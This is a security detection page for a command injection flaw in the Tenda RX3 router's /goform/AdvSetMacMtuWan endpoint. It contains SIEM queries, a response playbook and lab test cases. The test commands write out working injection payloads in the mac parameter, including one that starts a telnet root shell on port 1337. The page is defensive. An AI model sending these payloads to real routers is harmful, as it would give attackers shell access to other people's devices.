Detect Tenda RX3 fromAdvSetMacMtuWan Command Injection (CVE-2026-136550) in Sumo Logic CSE
Detects exploitation attempts against CVE-2026-136550, an OS command injection vulnerability (CWE-74/CWE-77) in the fromAdvSetMacMtuWan function of /goform/AdvSetMacMtuWan on Tenda RX3 (firmware 16.03.13.11_multi). The mac argument is passed into a shell context without sanitization, allowing command execution. The attack can be carried out remotely, and a public exploit is available. Detection focuses on HTTP POST requests to /goform/AdvSetMacMtuWan containing shell metacharacters (; | & ` $() etc.) in parameter values, plus related command-execution telemetry on the device or proxy tier.
MITRE ATT&CK
- Tactic
- Initial Access Execution
Sumo Detection Query
// df00tech DF00-b2e227c6fc · https://df00tech.com/detections/CVE-2026-136550 · licence: https://df00tech.com/detections/licence
_sourceCategory=*proxy* OR _sourceCategory=*waf* OR _sourceCategory=*firewall*
| where method = "POST"
| where url matches "*/goform/AdvSetMacMtuWan*"
| where body matches /(;|\||`|&&|\$\(|%3B|%7C|%60)/
| where (body matches "*mac*" or body matches "*Wan*")
| count by src_ip, dest_ip, url, body
| sort by _count Sumo Logic search for POST requests to /goform/AdvSetMacMtuWan containing shell metacharacters in WAN MAC parameters, consistent with CVE-2026-136550.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate administrator WAN MAC/MTU updates
- Authorized penetration testing
- Form-encoded bodies with ampersand field separators misread as metacharacters
Other platforms for CVE-2026-136550
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Command injection via WAN MAC parameter (semicolon)
Expected signal: WAF/proxy log entry: POST /goform/AdvSetMacMtuWan with body containing 'mac=...;id' and semicolon metacharacter.
- Test 2 Command injection via backtick substitution
Expected signal: HTTP POST body contains backtick-wrapped command in mac parameter.
- Test 3 Command injection via URL-encoded pipe
Expected signal: POST body contains '%7C' (URL-encoded pipe) in the mac field.
Response Playbook
Triage
- Confirm the destination is a Tenda RX3 device (firmware 16.03.13.11_multi) and that the request targeted /goform/AdvSetMacMtuWan via POST.
- Extract the offending parameter value (especially the WAN MAC field) and decode any URL-encoding to reveal the embedded shell metacharacters and injected command.
- Determine whether the source IP is an authorized management host or an untrusted/external address, and check whether the request succeeded (HTTP 200 vs error).
- Correlate the timestamp with any outbound connections, config changes, or reboots on the router immediately following the request.
Containment
- Block the source IP at the perimeter firewall and restrict management access to /goform/* endpoints to trusted admin subnets only.
- Isolate the affected Tenda RX3 from the WAN/untrusted segments and, if compromise is suspected, take it offline pending firmware remediation.
- Disable remote (WAN-side) web administration on the device until a patched firmware is available.
Evidence Collection
- Capture the full raw HTTP request (headers + body) and the WAF/proxy log entries for the detected event.
- Collect router configuration backup, running process list, and any accessible device logs (syslog/crash logs) to identify injected commands or persistence.
Escalation Criteria
- !Escalate to incident response if the injected command executed (evidence of new processes, outbound C2, or config tampering on the device).
- !Escalate if the source IP is external and the device exposes web administration to the WAN, indicating active internet-facing exploitation.
Investigation Guide
Forensic Artifacts
- >
WAF/proxy HTTP access logs showing POST /goform/AdvSetMacMtuWan with metacharacters - >
Router syslog/crash logs and configuration backup showing unexpected commands or settings changes - >
NetFlow/connection records showing outbound connections from the router following the request
Tuning Guidance
If the organization uses an automated configuration tool that legitimately sets WAN MAC/MTU, allowlist its source IP. Tighten the metacharacter regex to exclude single ampersands if form-encoded bodies with multiple fields cause noise, prioritizing ; | ` and $( which are the strongest command-injection indicators. Restrict the rule to external/untrusted source IPs if internal admin traffic dominates the alerts.
Hunting Queries
Broadens the hunt to any /goform/* endpoint on Tenda-style devices receiving POSTs with shell metacharacters, catching related command-injection endpoints beyond AdvSetMacMtuWan.
// df00tech DF00-b2e227c6fc · https://df00tech.com/detections/CVE-2026-136550 · licence: https://df00tech.com/detections/licence
CommonSecurityLog | where RequestURL has "/goform/" | where RequestMethod == "POST" | where tostring(AdditionalExtensions) has_any (";","|","`","$(") | summarize count() by SourceIP, RequestURL ``` df00tech DF00-b2e227c6fc · https://df00tech.com/detections/CVE-2026-136550 · licence: https://df00tech.com/detections/licence ```
index=proxy method=POST uri_path="/goform/*" | regex _raw="(;|\||`|\$\()" | stats count by src_ip uri_path Atomic Red Team Tests
Simulates CVE-2026-136550 by POSTing a shell-metacharacter payload in the mac parameter to the vulnerable endpoint in a lab.
Command
curl -s -X POST 'http://192.168.0.1/goform/AdvSetMacMtuWan' --data 'mac=00:11:22:33:44:55;id>/tmp/pwn&wanMTU=1500' Cleanup
rm -f /tmp/pwn 2>/dev/null; true Expected Telemetry
WAF/proxy log entry: POST /goform/AdvSetMacMtuWan with body containing 'mac=...;id' and semicolon metacharacter.
Expected Detection
KQL/SPL rules fire on POST to /goform/AdvSetMacMtuWan with semicolon metacharacter in the mac field.
Exercises backtick command substitution in the WAN MAC field against the vulnerable endpoint.
Command
curl -s -X POST 'http://192.168.0.1/goform/AdvSetMacMtuWan' --data 'mac=`telnetd -l /bin/sh -p 1337`&wanMTU=1500' Cleanup
pkill -f 'telnetd -p 1337' 2>/dev/null; true Expected Telemetry
HTTP POST body contains backtick-wrapped command in mac parameter.
Expected Detection
Detection rules match the backtick metacharacter in the /goform/AdvSetMacMtuWan payload.
Sends a URL-encoded pipe metacharacter to validate decoding-aware detection of CVE-2026-136550.
Command
powershell -Command "Invoke-WebRequest -Uri 'http://192.168.0.1/goform/AdvSetMacMtuWan' -Method POST -Body 'mac=00:11:22:33:44:55%7Cid&wanMTU=1500'" Cleanup
Write-Output 'no cleanup required' Expected Telemetry
POST body contains '%7C' (URL-encoded pipe) in the mac field.
Expected Detection
Detection matches the %7C encoded metacharacter pattern in the vulnerable endpoint request.